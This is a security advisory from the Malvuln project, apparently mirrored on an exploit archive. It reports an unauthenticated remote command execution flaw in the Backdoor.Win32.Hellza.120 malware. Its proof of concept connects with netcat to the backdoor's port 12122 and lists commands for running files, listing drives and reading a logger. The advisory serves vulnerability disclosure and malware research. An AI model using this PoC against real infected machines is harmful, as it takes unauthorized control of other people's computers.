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Backdoor.Win32.Hellza.120 MVID-2022-0641 Remote Command Execution

Backdoor.Win32.Hellza.120 MVID-2022-0641 Remote Command Execution
Posted Sep 20, 2022
Authored by malvuln | Site malvuln.com

Backdoor.Win32.Hellza.120 malware suffers from a remote command execution vulnerability.

tags | exploit, remote
systems | windows
SHA-256 | cdc70328ddf40e49dc5b1f2be3419c1dac2bfb6b0721efd3f3603444e744fbd5

Backdoor.Win32.Hellza.120 MVID-2022-0641 Remote Command Execution

Change Mirror Download
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/2cbd0fcf4d5fd5fb6c8014390efb0b21.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Hellza.120
Vulnerability: Unauthorized Remote Command Execution
Description: The malware listens on TCP ports 12122, 21. Third-party adversarys who can reach infected systems can issue commands made available by the backdoor.
Family: Hellza
Type: PE32
MD5: 2cbd0fcf4d5fd5fb6c8014390efb0b21
Vuln ID: MVID-2022-0641
Dropped files: msdllsrv.exe
Disclosure: 09/19/2022

Exploit/PoC:
C:\>nc64.exe x.x.x.x 12122
xrR_Server version:1.20 Beta R1.1

F (starts FTP if not running in case where the server was restarted)

L (logger)
L15_ *0.00 KB*

D (drives)
D 1C:\2D:\

E (run file)


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
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